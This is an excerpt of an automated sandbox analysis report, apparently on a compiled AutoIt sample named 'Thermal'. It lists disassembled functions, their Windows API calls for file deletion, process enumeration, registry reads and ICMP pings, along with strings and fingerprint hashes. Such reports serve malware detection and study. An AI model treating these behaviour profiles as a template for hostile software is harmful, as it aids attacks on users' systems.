Part of subcall function 00140284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00132A58,?,00008000), ref: 001402A4

Part of subcall function 00184FEC: GetFileAttributesW.KERNEL32(?,00183BFE), ref: 00184FED

FindFirstFileW.KERNEL32(?,?), ref: 00183D96
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00183E3E
MoveFileW.KERNEL32(?,?), ref: 00183E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00183E6E
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00183E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00183EAC

Strings

\*.*, xrefs: 00183D41, 00183D4A, 00183D5F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 9429dd34161c76886f4a26f271f061c47f10482d3d599b4c8e8123f0c6e2cc57
Instruction ID: 9aefde694be692a78d224c643de8a904f85c11f38b31ac7985cf247ebc2c488a
Opcode Fuzzy Hash: 9429dd34161c76886f4a26f271f061c47f10482d3d599b4c8e8123f0c6e2cc57
Instruction Fuzzy Hash: 3B51603180115DAACF15FBE0CA929EEB779AF25301F644269E452B7192EF316F09CF60

Function 00135D13 Relevance: 10.7, APIs: 7, Instructions: 223COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00135D40

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

GetCurrentProcess.KERNEL32(?,001B0A18,00000000,00000000,?), ref: 00135E07
IsWow64Process.KERNEL32(00000000), ref: 00135E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00135E54
FreeLibrary.KERNEL32(00000000), ref: 00135E5F
GetSystemInfo.KERNEL32(00000000), ref: 00135E90
GetSystemInfo.KERNEL32(00000000), ref: 00135E9C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: bdff1134fbf08ea6a661f352aab8b4fb9f60ca65c802670a2b70ff9eece7023b
Instruction ID: 87fd7b1108728943f8869a1722c9f4a001feef6f5d64fbde9fdd3b6f1a5bd7a3
Opcode Fuzzy Hash: bdff1134fbf08ea6a661f352aab8b4fb9f60ca65c802670a2b70ff9eece7023b
Instruction Fuzzy Hash: 58919031549BC0DEC735CB6884505ABFFF66F2A700F984AAED0CA97A41D320A648C769

Function 00184005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00140284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00132A58,?,00008000), ref: 001402A4

Part of subcall function 00184FEC: GetFileAttributesW.KERNEL32(?,00183BFE), ref: 00184FED

FindFirstFileW.KERNEL32(?,?), ref: 0018407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 001840CC
FindNextFileW.KERNELBASE(00000000,00000010), ref: 001840DD
FindClose.KERNEL32(00000000), ref: 001840F4
FindClose.KERNEL32(00000000), ref: 001840FD

Strings

\*.*, xrefs: 0018404E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 62f592c88482c45c70d51d12ab651f57077abbdc2f8449f2c256873a591b5513
Instruction ID: f4cdf421278d0d50559979183dfab6e04d54f93a5bd777445a10e297669769c9
Opcode Fuzzy Hash: 62f592c88482c45c70d51d12ab651f57077abbdc2f8449f2c256873a591b5513
Instruction Fuzzy Hash: E1316E31008385ABC705FB64C8959AFB7A8BFA5304F444A1DF5E582192EF20DA09CBA3

Function 00184148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0018416D
Process32FirstW.KERNEL32(00000000,?), ref: 0018417B
Process32NextW.KERNEL32(00000000,?), ref: 0018419B
CloseHandle.KERNEL32(00000000), ref: 00184245

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7c7534f80c0865d2cb1e50a963b3efdfaeccc02b49758cb15804d499fabad520
Instruction ID: 56270a24621e1fee3b14c044215df2833af38ec5019fbe0ab60bf1f78e7c0637
Opcode Fuzzy Hash: 7c7534f80c0865d2cb1e50a963b3efdfaeccc02b49758cb15804d499fabad520
Instruction Fuzzy Hash: 8531B471108341AFD305EF50E885AAFBBE9BFA9350F00052DF585C21A1EF719A49CB52

Function 0012B020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00133740: CharUpperBuffW.USER32(?,001E71DC,00000000,?,00000000,001E71DC,?,001253A5,?,?,?,?), ref: 0013375D

_memmove.LIBCMT ref: 0012B68A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: e15ef58b7448866ac946596cb5d012716623ca6f2806142bb474cff24b036734
Instruction ID: b3b727136f021b6dbe70c0259c2147812295fdfd83c46aec75efb6f27ff52919
Opcode Fuzzy Hash: e15ef58b7448866ac946596cb5d012716623ca6f2806142bb474cff24b036734
Instruction Fuzzy Hash: 0FA299706083519FD724CF14D480B2AB7E1FF98304F15896DE8AA8B361D771EDA5CB92

Function 0018494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0016FC86), ref: 0018495A
FindFirstFileW.KERNEL32(?,?), ref: 0018496B
FindClose.KERNEL32(00000000), ref: 0018497B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 2b5f93adcecc5115efb18e715dfe261a208ea7a6600cee521521669ba820e41e
Instruction ID: d4e01a2edcbac36b6a68278123aacb73224542a8588f7276c9492a91852991f8
Opcode Fuzzy Hash: 2b5f93adcecc5115efb18e715dfe261a208ea7a6600cee521521669ba820e41e
Instruction Fuzzy Hash: B1E0DF31810606AB9224BB3CEC0D8EBB75C9F0E339F100719F835C24E0EB70DA848B96

Function 001294E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 415409aaa1bc5ce2c8d74f3d5140c958f6920bc11b3d524512ddbd8dac9ab42c
Instruction ID: 2ad136b7d585df10375b3aa765bf2c0ff570b8b940398c76f58b3952e5dbaaa6
Opcode Fuzzy Hash: 415409aaa1bc5ce2c8d74f3d5140c958f6920bc11b3d524512ddbd8dac9ab42c
Instruction Fuzzy Hash: 4922B170A0422ADFDB14DF58E890ABEB7F0FF19310F158169E845AB351E334AD95CB91

Function 0012BC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0012BF57

Part of subcall function 001252B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001252E6

Sleep.KERNEL32(0000000A,?,?), ref: 001636B5

Strings

@GUI_WINHANDLE, xrefs: 001637C1
@GUI_CTRLID, xrefs: 0016376C
CALL, xrefs: 0012C277
@TRAY_ID, xrefs: 00163FCD
@GUI_CTRLHANDLE, xrefs: 00163816
@COM_EVENTOBJ, xrefs: 00163D2E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 58daa8c078ffa468d0ef6e8423b6f4d69728bdb2c9c58b7a31e5a7a12a15b939
Instruction ID: ec7b75653a4d1fa9ecec9f82d59fb8da7f77bea13c3dfed498fec0997baf60b3
Opcode Fuzzy Hash: 58daa8c078ffa468d0ef6e8423b6f4d69728bdb2c9c58b7a31e5a7a12a15b939
Instruction Fuzzy Hash: 17C2CC70608351DFD728DF24D884BAEB7E5BF94304F14891DF59A872A1CB71E9A4CB82

Function 001233E7 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 70windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00123444
RegisterClassExW.USER32(00000030), ref: 0012346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0012347F
InitCommonControlsEx.COMCTL32(?), ref: 0012349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001234AC
LoadIconW.USER32(000000A9), ref: 001234C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001234D1

Strings

AutoIt v3 GUI, xrefs: 00123460
0, xrefs: 00123426
+, xrefs: 0012342D
TaskbarCreated, xrefs: 00123474

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: ec70ee4c154d44b5b3cea98c9c1f366f9c8a24b11f4d862035186258de299d5a
Instruction ID: 44352bf5de4e6293c692a8bf26bb1eef4a5eebd360e0573e4cb85a16d382934a
Opcode Fuzzy Hash: ec70ee4c154d44b5b3cea98c9c1f366f9c8a24b11f4d862035186258de299d5a
Instruction Fuzzy Hash: 66312B71844349AFEB42DFE4EC89ACEBBF0FB19310F10465AE590EA6A0D7B55581CF50

Function 00123411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00123444
RegisterClassExW.USER32(00000030), ref: 0012346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0012347F
InitCommonControlsEx.COMCTL32(?), ref: 0012349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001234AC
LoadIconW.USER32(000000A9), ref: 001234C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001234D1

Strings

AutoIt v3 GUI, xrefs: 00123460
0, xrefs: 00123426
+, xrefs: 0012342D
TaskbarCreated, xrefs: 00123474

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 97b863ae6a67c34c4e2f723a0d3c970c349af7708d5f2d8e4521c4149a70f1ae
Instruction ID: 9a59052fe7d1a50dce9d4b91b0b9351a438474dcd05d0be47865e10e36adc4df
Opcode Fuzzy Hash: 97b863ae6a67c34c4e2f723a0d3c970c349af7708d5f2d8e4521c4149a70f1ae
Instruction Fuzzy Hash: EA21E4B1904259AFEB01DFE4EC89B9EBBF4FB08700F10421AF514AA6A0D7B15580CF91

Function 00132FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001400CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00133094), ref: 001400ED

Part of subcall function 001408C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,0013309F), ref: 001408E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 001330E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 001701BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 001701FB
RegCloseKey.ADVAPI32(?), ref: 00170239
_wcscat.LIBCMT ref: 00170292

Strings

\Include\, xrefs: 0013309F
Include, xrefs: 001701B1, 001701F2
Software\AutoIt v3\AutoIt, xrefs: 001330D8
\, xrefs: 001702B5

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: de96e872ea00809dac9194f12066a8763bdcfce746b9cac69630fa903f01de9c
Instruction ID: 89ea8143eee38bfc47a4605e554e5cb5b963498680c26d980ae7f0e7676f936d
Opcode Fuzzy Hash: de96e872ea00809dac9194f12066a8763bdcfce746b9cac69630fa903f01de9c
Instruction Fuzzy Hash: F9715B71409742AEC305EFA5D8819AFBBF8FF58340F40452EF6499B1A1EF309988CB52

Function 0013514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00135156
LoadCursorW.USER32(00000000,00007F00), ref: 00135165
LoadIconW.USER32(00000063), ref: 0013517C
LoadIconW.USER32(000000A4), ref: 0013518E
LoadIconW.USER32(000000A2), ref: 001351A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 001351C6
RegisterClassExW.USER32(?), ref: 0013521C

Part of subcall function 00123411: GetSysColorBrush.USER32(0000000F), ref: 00123444
Part of subcall function 00123411: RegisterClassExW.USER32(00000030), ref: 0012346E
Part of subcall function 00123411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0012347F
Part of subcall function 00123411: InitCommonControlsEx.COMCTL32(?), ref: 0012349C
Part of subcall function 00123411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001234AC
Part of subcall function 00123411: LoadIconW.USER32(000000A9), ref: 001234C2
Part of subcall function 00123411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001234D1

Strings

0, xrefs: 001351FA
AutoIt v3, xrefs: 0013520B
#, xrefs: 00135201

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 08865160daa94b9d04611abadcc4aacf25817be4946f2869a1598acc383420ff
Instruction ID: 1ae3b8a6651d6c3d344e125bb37841462e137a0d06c1bad62918160225bdfb87
Opcode Fuzzy Hash: 08865160daa94b9d04611abadcc4aacf25817be4946f2869a1598acc383420ff
Instruction Fuzzy Hash: FD217C70D04349AFEB119FE4ED89B9EBBB4FB18710F000159F604AA6E0C7B55590CF80

Function 00195E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 00195E7E
inet_addr.WSOCK32(?,?,?), ref: 00195EC3
gethostbyname.WS2_32(?), ref: 00195ECF
IcmpCreateFile.IPHLPAPI ref: 00195EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00195F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00195F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00195FD8
WSACleanup.WSOCK32 ref: 00195FDE

Strings

Ping, xrefs: 00195F01

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 078bbbe07226232d5a31f91f6d189e47c1d5a21558c42b530295ec74d73f1e34
Instruction ID: 85003aa92b8cb31fe0661eaed9d35ea1152a2f6911dd7be3072b8f7e73ee920c
Opcode Fuzzy Hash: 078bbbe07226232d5a31f91f6d189e47c1d5a21558c42b530295ec74d73f1e34
Instruction Fuzzy Hash: 9C51A2316047019FDB22EF24DC49B2AB7E5EF48720F144529F999EB2A1DB70ED40CB42

Function 00134D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00134E22
KillTimer.USER32(?,00000001), ref: 00134E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00134E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00134E7A
CreatePopupMenu.USER32 ref: 00134E8E
PostQuitMessage.USER32(00000000), ref: 00134EAF

Strings

TaskbarCreated, xrefs: 00134E75

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 992076fa9541dad0ba590c3130218f05a52641774f5c74b3b142a933e515ba08
Instruction ID: 955e5bc0d8cc5ff2fd198e1b8b05a0d70a8488faa2004be11cdc89e3572fa3ac
Opcode Fuzzy Hash: 992076fa9541dad0ba590c3130218f05a52641774f5c74b3b142a933e515ba08
Instruction Fuzzy Hash: 2741383120828AEBFB166F64EC4DBBF76A5F758300F040235F645965E1DB78BC909761

Function 001356F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00170C5B

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

_memset.LIBCMT ref: 00135787
_wcscpy.LIBCMT ref: 001357DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 001357EB
__swprintf.LIBCMT ref: 00170CD1

Strings

AutoIt - , xrefs: 00135760
Line %d: , xrefs: 00170CCB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt -
API String ID: 230667853-4094128768
Opcode ID: 4c5d475670cae8f5711447b69efb2c4c1a081ee4063ea3323cb7c87fc265f179
Instruction ID: d8bd69d97227e7541cd5705b907b193799f9af7a95c4c459cb23a399e4ece7af
Opcode Fuzzy Hash: 4c5d475670cae8f5711447b69efb2c4c1a081ee4063ea3323cb7c87fc265f179
Instruction Fuzzy Hash: CB41A571008305AAD722EB60DC85FEF77ECAF68754F10461EF189921E1EB70A649CB96

Function 001350DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00135109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0013512A
ShowWindow.USER32(00000000), ref: 0013513E
ShowWindow.USER32(00000000), ref: 00135147

Strings

AutoIt v3, xrefs: 00135101, 00135106, 00135107
edit, xrefs: 00135124

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
